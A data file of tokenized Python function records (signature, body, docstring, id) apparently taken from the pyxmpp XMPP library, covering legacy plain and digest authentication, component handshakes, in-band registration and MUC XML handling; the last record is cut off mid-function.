{"signature": "def _try_auth(self):", "body": "if self.authenticated:<EOL><INDENT>self.__logger.debug(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>self.__logger.debug(\"<STR_LIT>\" % (self._auth_methods_left,))<EOL>if not self._auth_methods_left:<EOL><INDENT>raise LegacyAuthenticationError(\"<STR_LIT>\")<EOL><DEDENT>method=self._auth_methods_left[<NUM_LIT:0>]<EOL>if method.startswith(\"<STR_LIT>\"):<EOL><INDENT>return ClientStream._try_auth(self)<EOL><DEDENT>elif method not in (\"<STR_LIT>\",\"<STR_LIT>\"):<EOL><INDENT>self._auth_methods_left.pop(<NUM_LIT:0>)<EOL>self.__logger.debug(\"<STR_LIT>\" % method)<EOL>return self._try_auth()<EOL><DEDENT>elif self.available_auth_methods is not None:<EOL><INDENT>if method in self.available_auth_methods:<EOL><INDENT>self._auth_methods_left.pop(<NUM_LIT:0>)<EOL>self.auth_method_used=method<EOL>if method==\"<STR_LIT>\":<EOL><INDENT>self._digest_auth_stage2(self.auth_stanza)<EOL><DEDENT>else:<EOL><INDENT>self._plain_auth_stage2(self.auth_stanza)<EOL><DEDENT>self.auth_stanza=None<EOL>return<EOL><DEDENT>else:<EOL><INDENT>self.__logger.debug(\"<STR_LIT>\" % method)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._auth_stage1()<EOL><DEDENT>", "docstring": "Try to authenticate using the first one of allowed authentication\n        methods left.\n\n        [client only]", "id": "f15251:c0:m4"}
{"signature": "def auth_in_stage1(self,stanza):", "body": "self.lock.acquire()<EOL>try:<EOL><INDENT>if \"<STR_LIT>\" not in self.auth_methods and \"<STR_LIT>\" not in self.auth_methods:<EOL><INDENT>iq=stanza.make_error_response(\"<STR_LIT>\")<EOL>self.send(iq)<EOL>return<EOL><DEDENT>iq=stanza.make_result_response()<EOL>q=iq.new_query(\"<STR_LIT>\")<EOL>q.newChild(None,\"<STR_LIT:username>\",None)<EOL>q.newChild(None,\"<STR_LIT>\",None)<EOL>if \"<STR_LIT>\" in self.auth_methods:<EOL><INDENT>q.newChild(None,\"<STR_LIT:password>\",None)<EOL><DEDENT>if \"<STR_LIT>\" in self.auth_methods:<EOL><INDENT>q.newChild(None,\"<STR_LIT>\",None)<EOL><DEDENT>self.send(iq)<EOL>iq.free()<EOL><DEDENT>finally:<EOL><INDENT>self.lock.release()<EOL><DEDENT>", "docstring": "Handle the first stage (<iq type='get'/>) of legacy (\"plain\" or\n        \"digest\") authentication.\n\n        [server only]", "id": "f15251:c0:m5"}
{"signature": "def auth_in_stage2(self,stanza):", "body": "self.lock.acquire()<EOL>try:<EOL><INDENT>if \"<STR_LIT>\" not in self.auth_methods and \"<STR_LIT>\" not in self.auth_methods:<EOL><INDENT>iq=stanza.make_error_response(\"<STR_LIT>\")<EOL>self.send(iq)<EOL>return<EOL><DEDENT>username=stanza.xpath_eval(\"<STR_LIT>\",{\"<STR_LIT:a>\":\"<STR_LIT>\"})<EOL>if username:<EOL><INDENT>username=from_utf8(username[<NUM_LIT:0>].getContent())<EOL><DEDENT>resource=stanza.xpath_eval(\"<STR_LIT>\",{\"<STR_LIT:a>\":\"<STR_LIT>\"})<EOL>if resource:<EOL><INDENT>resource=from_utf8(resource[<NUM_LIT:0>].getContent())<EOL><DEDENT>if not username or not resource:<EOL><INDENT>self.__logger.debug(\"<STR_LIT>\")<EOL>iq=stanza.make_error_response(\"<STR_LIT>\")<EOL>self.send(iq)<EOL>return<EOL><DEDENT>if stanza.xpath_eval(\"<STR_LIT>\",{\"<STR_LIT:a>\":\"<STR_LIT>\"}):<EOL><INDENT>if \"<STR_LIT>\" not in self.auth_methods:<EOL><INDENT>iq=stanza.make_error_response(\"<STR_LIT>\")<EOL>self.send(iq)<EOL>return<EOL><DEDENT>else:<EOL><INDENT>return self._plain_auth_in_stage2(username,resource,stanza)<EOL><DEDENT><DEDENT>if stanza.xpath_eval(\"<STR_LIT>\",{\"<STR_LIT:a>\":\"<STR_LIT>\"}):<EOL><INDENT>if \"<STR_LIT>\" not in self.auth_methods:<EOL><INDENT>iq=stanza.make_error_response(\"<STR_LIT>\")<EOL>self.send(iq)<EOL>return<EOL><DEDENT>else:<EOL><INDENT>return self._digest_auth_in_stage2(username,resource,stanza)<EOL><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>self.lock.release()<EOL><DEDENT>", "docstring": "Handle the second stage (<iq type='set'/>) of legacy (\"plain\" or\n        \"digest\") authentication.\n\n        [server only]", "id": "f15251:c0:m6"}
{"signature": "def _auth_stage1(self):", "body": "iq=Iq(stanza_type=\"<STR_LIT>\")<EOL>q=iq.new_query(\"<STR_LIT>\")<EOL>q.newTextChild(None,\"<STR_LIT:username>\",to_utf8(self.my_jid.node))<EOL>q.newTextChild(None,\"<STR_LIT>\",to_utf8(self.my_jid.resource))<EOL>self.send(iq)<EOL>self.set_response_handlers(iq,self.auth_stage2,self.auth_error,<EOL>self.auth_timeout,timeout=<NUM_LIT>)<EOL>iq.free()<EOL>", "docstring": "Do the first stage (<iq type='get'/>) of legacy (\"plain\" or\n        \"digest\") authentication.\n\n        [client only]", "id": "f15251:c0:m7"}
{"signature": "def auth_timeout(self):", "body": "self.lock.acquire()<EOL>try:<EOL><INDENT>self.__logger.debug(\"<STR_LIT>\")<EOL>if self._auth_methods_left:<EOL><INDENT>self._auth_methods_left.pop(<NUM_LIT:0>)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self.lock.release()<EOL><DEDENT>", "docstring": "Handle legacy authentication timeout.\n\n        [client only]", "id": "f15251:c0:m8"}
{"signature": "def auth_error(self,stanza):", "body": "self.lock.acquire()<EOL>try:<EOL><INDENT>err=stanza.get_error()<EOL>ae=err.xpath_eval(\"<STR_LIT>\",{\"<STR_LIT:e>\":\"<STR_LIT>\"})<EOL>if ae:<EOL><INDENT>ae=ae[<NUM_LIT:0>].name<EOL><DEDENT>else:<EOL><INDENT>ae=err.get_condition().name<EOL><DEDENT>raise LegacyAuthenticationError(\"<STR_LIT>\"<EOL>% (ae,))<EOL><DEDENT>finally:<EOL><INDENT>self.lock.release()<EOL><DEDENT>", "docstring": "Handle legacy authentication error.\n\n        [client only]", "id": "f15251:c0:m9"}
{"signature": "def auth_stage2(self,stanza):", "body": "self.lock.acquire()<EOL>try:<EOL><INDENT>self.__logger.debug(\"<STR_LIT>\")<EOL>self.available_auth_methods=[]<EOL>if (stanza.xpath_eval(\"<STR_LIT>\",{\"<STR_LIT:a>\":\"<STR_LIT>\"}) and self.stream_id):<EOL><INDENT>self.available_auth_methods.append(\"<STR_LIT>\")<EOL><DEDENT>if (stanza.xpath_eval(\"<STR_LIT>\",{\"<STR_LIT:a>\":\"<STR_LIT>\"})):<EOL><INDENT>self.available_auth_methods.append(\"<STR_LIT>\")<EOL><DEDENT>self.auth_stanza=stanza.copy()<EOL>self._try_auth()<EOL><DEDENT>finally:<EOL><INDENT>self.lock.release()<EOL><DEDENT>", "docstring": "Handle the first stage authentication response (result of the <iq\n        type=\"get\"/>).\n\n        [client only]", "id": "f15251:c0:m10"}
{"signature": "def _plain_auth_stage2(self, _unused):", "body": "iq=Iq(stanza_type=\"<STR_LIT>\")<EOL>q=iq.new_query(\"<STR_LIT>\")<EOL>q.newTextChild(None,\"<STR_LIT:username>\",to_utf8(self.my_jid.node))<EOL>q.newTextChild(None,\"<STR_LIT>\",to_utf8(self.my_jid.resource))<EOL>q.newTextChild(None,\"<STR_LIT:password>\",to_utf8(self.password))<EOL>self.send(iq)<EOL>self.set_response_handlers(iq,self.auth_finish,self.auth_error)<EOL>iq.free()<EOL>", "docstring": "Do the second stage (<iq type='set'/>) of legacy \"plain\"\n        authentication.\n\n        [client only]", "id": "f15251:c0:m11"}
{"signature": "def _plain_auth_in_stage2(self, username, _unused, stanza):", "body": "password=stanza.xpath_eval(\"<STR_LIT>\",{\"<STR_LIT:a>\":\"<STR_LIT>\"})<EOL>if password:<EOL><INDENT>password=from_utf8(password[<NUM_LIT:0>].getContent())<EOL><DEDENT>if not password:<EOL><INDENT>self.__logger.debug(\"<STR_LIT>\")<EOL>iq=stanza.make_error_response(\"<STR_LIT>\")<EOL>self.send(iq)<EOL>return<EOL><DEDENT>if self.check_password(username,password):<EOL><INDENT>iq=stanza.make_result_response()<EOL>self.send(iq)<EOL>self.peer_authenticated=True<EOL>self.auth_method_used=\"<STR_LIT>\"<EOL>self.state_change(\"<STR_LIT>\",self.peer)<EOL>self._post_auth()<EOL><DEDENT>else:<EOL><INDENT>self.__logger.debug(\"<STR_LIT>\")<EOL>iq=stanza.make_error_response(\"<STR_LIT>\")<EOL>e=iq.get_error()<EOL>e.add_custom_condition('<STR_LIT>',\"<STR_LIT>\")<EOL>self.send(iq)<EOL><DEDENT>", "docstring": "Handle the second stage (<iq type='set'/>) of legacy \"plain\"\n        authentication.\n\n        [server only]", "id": "f15251:c0:m12"}
{"signature": "def _digest_auth_stage2(self, _unused):", "body": "iq=Iq(stanza_type=\"<STR_LIT>\")<EOL>q=iq.new_query(\"<STR_LIT>\")<EOL>q.newTextChild(None,\"<STR_LIT:username>\",to_utf8(self.my_jid.node))<EOL>q.newTextChild(None,\"<STR_LIT>\",to_utf8(self.my_jid.resource))<EOL>digest = hashlib.sha1(to_utf8(self.stream_id)+to_utf8(self.password)).hexdigest()<EOL>q.newTextChild(None,\"<STR_LIT>\",digest)<EOL>self.send(iq)<EOL>self.set_response_handlers(iq,self.auth_finish,self.auth_error)<EOL>iq.free()<EOL>", "docstring": "Do the second stage (<iq type='set'/>) of legacy \"digest\"\n        authentication.\n\n        [client only]", "id": "f15251:c0:m13"}
{"signature": "def _digest_auth_in_stage2(self, username, _unused, stanza):", "body": "digest=stanza.xpath_eval(\"<STR_LIT>\",{\"<STR_LIT:a>\":\"<STR_LIT>\"})<EOL>if digest:<EOL><INDENT>digest=digest[<NUM_LIT:0>].getContent()<EOL><DEDENT>if not digest:<EOL><INDENT>self.__logger.debug(\"<STR_LIT>\")<EOL>iq=stanza.make_error_response(\"<STR_LIT>\")<EOL>self.send(iq)<EOL>return<EOL><DEDENT>password,pwformat=self.get_password(username)<EOL>if not password or pwformat!=\"<STR_LIT>\":<EOL><INDENT>iq=stanza.make_error_response(\"<STR_LIT>\")<EOL>e=iq.get_error()<EOL>e.add_custom_condition('<STR_LIT>',\"<STR_LIT>\")<EOL>self.send(iq)<EOL>return<EOL><DEDENT>mydigest = hashlib.sha1(to_utf8(self.stream_id)+to_utf8(password)).hexdigest()<EOL>if mydigest==digest:<EOL><INDENT>iq=stanza.make_result_response()<EOL>self.send(iq)<EOL>self.peer_authenticated=True<EOL>self.auth_method_used=\"<STR_LIT>\"<EOL>self.state_change(\"<STR_LIT>\",self.peer)<EOL>self._post_auth()<EOL><DEDENT>else:<EOL><INDENT>self.__logger.debug(\"<STR_LIT>\" % (digest,mydigest))<EOL>iq=stanza.make_error_response(\"<STR_LIT>\")<EOL>e=iq.get_error()<EOL>e.add_custom_condition('<STR_LIT>',\"<STR_LIT>\")<EOL>self.send(iq)<EOL><DEDENT>", "docstring": "Handle the second stage (<iq type='set'/>) of legacy \"digest\"\n        authentication.\n\n        [server only]", "id": "f15251:c0:m14"}
{"signature": "def auth_finish(self, _unused):", "body": "self.lock.acquire()<EOL>try:<EOL><INDENT>self.__logger.debug(\"<STR_LIT>\")<EOL>self.authenticated=True<EOL>self.state_change(\"<STR_LIT>\",self.my_jid)<EOL>self._post_auth()<EOL><DEDENT>finally:<EOL><INDENT>self.lock.release()<EOL><DEDENT>", "docstring": "Handle success of the legacy authentication.", "id": "f15251:c0:m15"}
{"signature": "def registration_error(self, stanza):", "body": "self.lock.acquire()<EOL>try:<EOL><INDENT>err=stanza.get_error()<EOL>ae=err.xpath_eval(\"<STR_LIT>\",{\"<STR_LIT:e>\":\"<STR_LIT>\"})<EOL>if ae:<EOL><INDENT>ae=ae[<NUM_LIT:0>].name<EOL><DEDENT>else:<EOL><INDENT>ae=err.get_condition().name<EOL><DEDENT>raise RegistrationError(\"<STR_LIT>\" % (ae,))<EOL><DEDENT>finally:<EOL><INDENT>self.lock.release()<EOL><DEDENT>", "docstring": "Handle in-band registration error.\n\n        [client only]\n\n        :Parameters:\n            - `stanza`: the error stanza received or `None` on timeout.\n        :Types:\n            - `stanza`: `pyxmpp.stanza.Stanza`", "id": "f15251:c0:m16"}
{"signature": "def registration_form_received(self, stanza):", "body": "self.lock.acquire()<EOL>try:<EOL><INDENT>self.__register = Register(stanza.get_query())<EOL>self.registration_callback(stanza, self.__register.get_form())<EOL><DEDENT>finally:<EOL><INDENT>self.lock.release()<EOL><DEDENT>", "docstring": "Handle registration form received.\n\n        [client only]\n\n        Call self.registration_callback with the registration form received\n        as the argument. Use the value returned by the callback will be a\n        filled-in form.\n\n        :Parameters:\n            - `stanza`: the stanza received.\n        :Types:\n            - `stanza`: `pyxmpp.iq.Iq`", "id": "f15251:c0:m17"}
{"signature": "def submit_registration_form(self, form):", "body": "self.lock.acquire()<EOL>try:<EOL><INDENT>if form and form.type!=\"<STR_LIT>\":<EOL><INDENT>self.registration_form = form<EOL>iq = Iq(stanza_type = \"<STR_LIT>\")<EOL>iq.set_content(self.__register.submit_form(form))<EOL>self.set_response_handlers(iq, self.registration_success, self.registration_error)<EOL>self.send(iq)<EOL><DEDENT>else:<EOL><INDENT>self.__register = None<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self.lock.release()<EOL><DEDENT>", "docstring": "Submit a registration form.\n\n        [client only]\n\n        :Parameters:\n            - `form`: the filled-in form. When form is `None` or its type is\n              \"cancel\" the registration is to be canceled.\n\n        :Types:\n            - `form`: `pyxmpp.jabber.dataforms.Form`", "id": "f15251:c0:m18"}
{"signature": "def registration_success(self, stanza):", "body": "_unused = stanza<EOL>self.lock.acquire()<EOL>try:<EOL><INDENT>self.state_change(\"<STR_LIT>\", self.registration_form)<EOL>if ('<STR_LIT>' in self.registration_form<EOL>and self.registration_form['<STR_LIT>'].value == '<STR_LIT>'):<EOL><INDENT>if '<STR_LIT:username>' in self.registration_form:<EOL><INDENT>self.my_jid = JID(self.registration_form['<STR_LIT:username>'].value,<EOL>self.my_jid.domain, self.my_jid.resource)<EOL><DEDENT>if '<STR_LIT:password>' in self.registration_form:<EOL><INDENT>self.password = self.registration_form['<STR_LIT:password>'].value<EOL><DEDENT><DEDENT>self.registration_callback = None<EOL>self._post_connect()<EOL><DEDENT>finally:<EOL><INDENT>self.lock.release()<EOL><DEDENT>", "docstring": "Handle registration success.\n\n        [client only]\n\n        Clean up registration stuff, change state to \"registered\" and initialize\n        authentication.\n\n        :Parameters:\n            - `stanza`: the stanza received.\n        :Types:\n            - `stanza`: `pyxmpp.iq.Iq`", "id": "f15251:c0:m19"}
{"signature": "def __init__(self, jid, secret, server, port, keepalive = <NUM_LIT:0>, owner = None):", "body": "Stream.__init__(self, \"<STR_LIT>\",<EOL>sasl_mechanisms = [],<EOL>tls_settings = None,<EOL>keepalive = keepalive,<EOL>owner = owner)<EOL>self.server=server<EOL>self.port=port<EOL>self.me=jid<EOL>self.secret=secret<EOL>self.process_all_stanzas=<NUM_LIT:1><EOL>self.__logger=logging.getLogger(\"<STR_LIT>\")<EOL>", "docstring": "Initialize a `ComponentStream` object.\n\n        :Parameters:\n            - `jid`: JID of the component.\n            - `secret`: authentication secret.\n            - `server`: server address.\n            - `port`: TCP port number on the server.\n            - `keepalive`: keepalive interval. 0 to disable.\n            - `owner`: `Client`, `Component` or similar object \"owning\" this stream.", "id": "f15253:c0:m0"}
{"signature": "def _reset(self):", "body": "Stream._reset(self)<EOL>", "docstring": "Reset `ComponentStream` object state, making the object ready to\n        handle new connections.", "id": "f15253:c0:m1"}
{"signature": "def connect(self,server=None,port=None):", "body": "self.lock.acquire()<EOL>try:<EOL><INDENT>self._connect(server,port)<EOL><DEDENT>finally:<EOL><INDENT>self.lock.release()<EOL><DEDENT>", "docstring": "Establish a client connection to a server.\n\n        [component only]\n\n        :Parameters:\n            - `server`: name or address of the server to use.  If not given\n              then use the one specified when creating the object.\n            - `port`: port number of the server to use.  If not given then use\n              the one specified when creating the object.\n\n        :Types:\n            - `server`: `unicode`\n            - `port`: `int`", "id": "f15253:c0:m2"}
{"signature": "def _connect(self,server=None,port=None):", "body": "if self.me.node or self.me.resource:<EOL><INDENT>raise Value(\"<STR_LIT>\")<EOL><DEDENT>if not server:<EOL><INDENT>server=self.server<EOL><DEDENT>if not port:<EOL><INDENT>port=self.port<EOL><DEDENT>if not server or not port:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>Stream._connect(self,server,port,None,self.me)<EOL>", "docstring": "Same as `ComponentStream.connect` but assume `self.lock` is acquired.", "id": "f15253:c0:m3"}
{"signature": "def accept(self,sock):", "body": "Stream.accept(self,sock,None)<EOL>", "docstring": "Accept an incoming component connection.\n\n        [server only]\n\n        :Parameters:\n            - `sock`: a listening socket.", "id": "f15253:c0:m4"}
{"signature": "def stream_start(self,doc):", "body": "try:<EOL><INDENT>Stream.stream_start(self,doc)<EOL><DEDENT>except HostMismatch:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Process <stream:stream> (stream start) tag received from peer.\n\n        Call `Stream.stream_start`, but ignore any `HostMismatch` error.\n\n        :Parameters:\n            - `doc`: document created by the parser", "id": "f15253:c0:m5"}
{"signature": "def _post_connect(self):", "body": "if self.initiator:<EOL><INDENT>self._auth()<EOL><DEDENT>", "docstring": "Initialize authentication when the connection is established\n        and we are the initiator.", "id": "f15253:c0:m6"}
{"signature": "def _compute_handshake(self):", "body": "return hashlib.sha1(to_utf8(self.stream_id)+to_utf8(self.secret)).hexdigest()<EOL>", "docstring": "Compute the authentication handshake value.\n\n        :return: the computed hash value.\n        :returntype: `str`", "id": "f15253:c0:m7"}
{"signature": "def _auth(self):", "body": "if self.authenticated:<EOL><INDENT>self.__logger.debug(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>self.__logger.debug(\"<STR_LIT>\")<EOL>hash_value=self._compute_handshake()<EOL>n=common_root.newTextChild(None,\"<STR_LIT>\",hash_value)<EOL>self._write_node(n)<EOL>n.unlinkNode()<EOL>n.freeNode()<EOL>self.__logger.debug(\"<STR_LIT>\")<EOL>", "docstring": "Authenticate on the server.\n\n        [component only]", "id": "f15253:c0:m8"}
{"signature": "def _process_node(self,node):", "body": "ns=node.ns()<EOL>if ns:<EOL><INDENT>ns_uri=node.ns().getContent()<EOL><DEDENT>if (not ns or ns_uri==\"<STR_LIT>\") and node.name==\"<STR_LIT>\":<EOL><INDENT>if self.initiator and not self.authenticated:<EOL><INDENT>self.authenticated=<NUM_LIT:1><EOL>self.state_change(\"<STR_LIT>\",self.me)<EOL>self._post_auth()<EOL>return<EOL><DEDENT>elif not self.authenticated and node.getContent()==self._compute_handshake():<EOL><INDENT>self.peer=self.me<EOL>n=common_doc.newChild(None,\"<STR_LIT>\",None)<EOL>self._write_node(n)<EOL>n.unlinkNode()<EOL>n.freeNode()<EOL>self.peer_authenticated=<NUM_LIT:1><EOL>self.state_change(\"<STR_LIT>\",self.peer)<EOL>self._post_auth()<EOL>return<EOL><DEDENT>else:<EOL><INDENT>self._send_stream_error(\"<STR_LIT>\")<EOL>raise FatalComponentStreamError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if ns_uri in (\"<STR_LIT>\",\"<STR_LIT>\",\"<STR_LIT>\"):<EOL><INDENT>stanza=stanza_factory(node)<EOL>self.lock.release()<EOL>try:<EOL><INDENT>self.process_stanza(stanza)<EOL><DEDENT>finally:<EOL><INDENT>self.lock.acquire()<EOL>stanza.free()<EOL><DEDENT>return<EOL><DEDENT>return Stream._process_node(self,node)<EOL>", "docstring": "Process first level element of the stream.\n\n        Handle component handshake (authentication) element, and\n        treat elements in \"jabber:component:accept\", \"jabber:client\"\n        and \"jabber:server\" equally (pass to `self.process_stanza`).\n        All other elements are passed to `Stream._process_node`.\n\n        :Parameters:\n            - `node`: XML node describing the element", "id": "f15253:c0:m9"}
{"signature": "def __init__(self, xmlnode = None):", "body": "self.__logger=logging.getLogger(\"<STR_LIT>\")<EOL>self.form = None<EOL>self.registered = False<EOL>self.instructions = None<EOL>self.remove = False<EOL>for f in legacy_fields:<EOL><INDENT>setattr(self, f, None)<EOL><DEDENT>if isinstance(xmlnode,libxml2.xmlNode):<EOL><INDENT>self.__from_xml(xmlnode)<EOL><DEDENT>", "docstring": "Initialize the `Register` object.\n\n:Parameters:\n    - `xmlnode`: an optional XML node to parse.\n:Types:\n    - `xmlnode`: `libxml2.xmlNode`", "id": "f15254:c0:m0"}
{"signature": "def __from_xml(self, xmlnode):", "body": "self.__logger.debug(\"<STR_LIT>\")<EOL>if xmlnode.type!=\"<STR_LIT>\":<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>ns=get_node_ns_uri(xmlnode)<EOL>if ns and ns!=REGISTER_NS or xmlnode.name!=\"<STR_LIT>\":<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>for element in xml_element_iter(xmlnode.children):<EOL><INDENT>ns = get_node_ns_uri(element)<EOL>if ns == DATAFORM_NS and element.name == \"<STR_LIT:x>\" and not self.form:<EOL><INDENT>self.form = Form(element)<EOL><DEDENT>elif ns != REGISTER_NS:<EOL><INDENT>continue<EOL><DEDENT>name = element.name<EOL>if name == \"<STR_LIT>\" and not self.instructions:<EOL><INDENT>self.instructions = from_utf8(element.getContent())<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>self.registered = True<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>self.remove = True<EOL><DEDENT>elif name in legacy_fields and not getattr(self, name):<EOL><INDENT>value = from_utf8(element.getContent())<EOL>if value is None:<EOL><INDENT>value = u\"<STR_LIT>\"<EOL><DEDENT>self.__logger.debug(u\"<STR_LIT>\" % (name, value))<EOL>setattr(self, name, value)<EOL><DEDENT><DEDENT>", "docstring": "Initialize `Register` from an XML node.\n\n        :Parameters:\n            - `xmlnode`: the jabber:x:register XML element.\n        :Types:\n            - `xmlnode`: `libxml2.xmlNode`", "id": "f15254:c0:m1"}
{"signature": "def complete_xml_element(self, xmlnode, doc):", "body": "ns = xmlnode.ns()<EOL>if self.instructions is not None:<EOL><INDENT>xmlnode.newTextChild(ns, \"<STR_LIT>\", to_utf8(self.instructions))<EOL><DEDENT>if self.form:<EOL><INDENT>self.form.as_xml(xmlnode, doc)<EOL><DEDENT>if self.remove:<EOL><INDENT>xmlnode.newChild(ns, \"<STR_LIT>\", None)<EOL><DEDENT>else:<EOL><INDENT>if self.registered:<EOL><INDENT>xmlnode.newChild(ns, \"<STR_LIT>\", None)<EOL><DEDENT>for field in legacy_fields:<EOL><INDENT>value = getattr(self, field)<EOL>if value is not None:<EOL><INDENT>xmlnode.newTextChild(ns, field, to_utf8(value))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Complete the XML node with `self` content.\n\n        :Parameters:\n            - `xmlnode`: XML node with the element being built. It has already\n              right name and namespace, but no attributes or content.\n            - `doc`: document to which the element belongs.\n        :Types:\n            - `xmlnode`: `libxml2.xmlNode`\n            - `doc`: `libxml2.xmlDoc`", "id": "f15254:c0:m2"}
{"signature": "def get_form(self, form_type = \"<STR_LIT>\"):", "body": "if self.form:<EOL><INDENT>if self.form.type != form_type:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return self.form<EOL><DEDENT>form = Form(form_type, instructions = self.instructions)<EOL>form.add_field(\"<STR_LIT>\", [u\"<STR_LIT>\"], \"<STR_LIT>\")<EOL>for field in legacy_fields:<EOL><INDENT>field_type, field_label = legacy_fields[field]<EOL>value = getattr(self, field)<EOL>if value is None:<EOL><INDENT>continue<EOL><DEDENT>if form_type == \"<STR_LIT>\":<EOL><INDENT>if not value:<EOL><INDENT>value = None<EOL><DEDENT>form.add_field(name = field, field_type = field_type, label = field_label,<EOL>value = value, required = True)<EOL><DEDENT>else:<EOL><INDENT>form.add_field(name = field, value = value)<EOL><DEDENT><DEDENT>return form<EOL>", "docstring": "Return Data Form for the `Register` object.\n\n        Convert legacy fields to a data form if `self.form` is `None`, return `self.form` otherwise.\n\n        :Parameters:\n            - `form_type`: If \"form\", then a form to fill-in should be\n              returned. If \"sumbit\", then a form with submitted data.\n        :Types:\n            - `form_type`: `unicode`\n\n        :return: `self.form` or a form created from the legacy fields\n        :returntype: `pyxmpp.jabber.dataforms.Form`", "id": "f15254:c0:m3"}
{"signature": "def submit_form(self, form):", "body": "result = Register()<EOL>if self.form:<EOL><INDENT>result.form = form.make_submit()<EOL>return result<EOL><DEDENT>if \"<STR_LIT>\" not in form or \"<STR_LIT>\" not in form[\"<STR_LIT>\"].values:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>for field in legacy_fields:<EOL><INDENT>self.__logger.debug(u\"<STR_LIT>\" % (field, ))<EOL>value = getattr(self, field)<EOL>try:<EOL><INDENT>form_value = form[field].value<EOL><DEDENT>except KeyError:<EOL><INDENT>if value:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>continue<EOL><DEDENT>setattr(result, field, form_value)<EOL><DEDENT>return result<EOL>", "docstring": "Make `Register` object for submitting the registration form.\n\n        Convert form data to legacy fields if `self.form` is `None`.\n\n        :Parameters:\n            - `form`: The form to submit. Its type doesn't have to be \"submit\"\n              (a \"submit\" form will be created here), so it could be the form\n              obtained from `get_form` just with the data entered.\n\n        :return: new registration element\n        :returntype: `Register`", "id": "f15254:c0:m4"}
{"signature": "def __init__(self, xmlnode=None, copy=True, parent=None):", "body": "if self.ns==None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>self.xmlnode=None<EOL>self.borrowed=False<EOL>if isinstance(xmlnode,libxml2.xmlNode):<EOL><INDENT>if copy:<EOL><INDENT>self.xmlnode=xmlnode.docCopyNode(common_doc,<NUM_LIT:1>)<EOL>common_root.addChild(self.xmlnode)<EOL><DEDENT>else:<EOL><INDENT>self.xmlnode=xmlnode<EOL>self.borrowed=True<EOL><DEDENT>if copy:<EOL><INDENT>ns=xmlnode.ns()<EOL>xmlextra.replace_ns(self.xmlnode, ns, common_ns)<EOL><DEDENT><DEDENT>elif isinstance(xmlnode,MucXBase):<EOL><INDENT>if not copy:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>self.xmlnode=xmlnode.xmlnode.docCopyNode(common_doc,<NUM_LIT:1>)<EOL>common_root.addChild(self.xmlnode)<EOL><DEDENT>elif xmlnode is not None:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>if parent:<EOL><INDENT>self.xmlnode=parent.newChild(None,self.element,None)<EOL>self.borrowed=True<EOL><DEDENT>else:<EOL><INDENT>self.xmlnode=common_root.newChild(None,self.element,None)<EOL><DEDENT>ns=self.xmlnode.newNs(self.ns,None)<EOL>self.xmlnode.setNs(ns)<EOL><DEDENT>", "docstring": "Copy MucXBase object or create a new one, possibly\nbased on or wrapping an XML node.\n\n:Parameters:\n    - `xmlnode`: is the object to copy or an XML node to wrap.\n    - `copy`: when `True` a copy of the XML node provided will be included\n      in `self`, the node will be copied otherwise.\n    - `parent`: parent node for the created/copied XML element.\n:Types:\n    - `xmlnode`: `MucXBase` or `libxml2.xmlNode`\n    - `copy`: `bool`\n    - `parent`: `libxml2.xmlNode`", "id": "f15255:c0:m0"}
{"signature": "def free(self):", "body": "if not self.borrowed:<EOL><INDENT>self.xmlnode.unlinkNode()<EOL>self.xmlnode.freeNode()<EOL><DEDENT>self.xmlnode=None<EOL>", "docstring": "Unlink and free the XML node owned by `self`.", "id": "f15255:c0:m2"}
{"signature": "def free_borrowed(self):", "body": "self.xmlnode=None<EOL>", "docstring": "Detach the XML node borrowed by `self`.", "id": "f15255:c0:m3"}
{"signature": "def xpath_eval(self,expr):", "body": "ctxt = common_doc.xpathNewContext()<EOL>ctxt.setContextNode(self.xmlnode)<EOL>ctxt.xpathRegisterNs(\"<STR_LIT>\",self.ns.getContent())<EOL>ret=ctxt.xpathEval(to_utf8(expr))<EOL>ctxt.xpathFreeContext()<EOL>return ret<EOL>", "docstring": "Evaluate XPath expression in context of `self.xmlnode`.\n\n:Parameters:\n    - `expr`: the XPath expression\n:Types:\n    - `expr`: `unicode`\n\n:return: the result of the expression evaluation.\n:returntype: list of `libxml2.xmlNode`", "id": "f15255:c0:m4"}
{"signature": "def serialize(self):", "body": "return self.xmlnode.serialize()<EOL>", "docstring": "Serialize `self` as XML.\n\n:return: serialized `self.xmlnode`.\n:returntype: `str`", "id": "f15255:c0:m5"}
{"signature": "def set_history(self, parameters):", "body": "for child in xml_element_iter(self.xmlnode.children):<EOL><INDENT>if get_node_ns_uri(child) == MUC_NS and child.name == \"<STR_LIT>\":<EOL><INDENT>child.unlinkNode()<EOL>child.freeNode()<EOL>break<EOL><DEDENT><DEDENT>if parameters.maxchars and parameters.maxchars < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if parameters.maxstanzas and parameters.maxstanzas < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if parameters.maxseconds and parameters.maxseconds < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>hnode=self.xmlnode.newChild(self.xmlnode.ns(), \"<STR_LIT>\", None)<EOL>if parameters.maxchars is not None:<EOL><INDENT>hnode.setProp(\"<STR_LIT>\", str(parameters.maxchars))<EOL><DEDENT>if parameters.maxstanzas is not None:<EOL><INDENT>hnode.setProp(\"<STR_LIT>\", 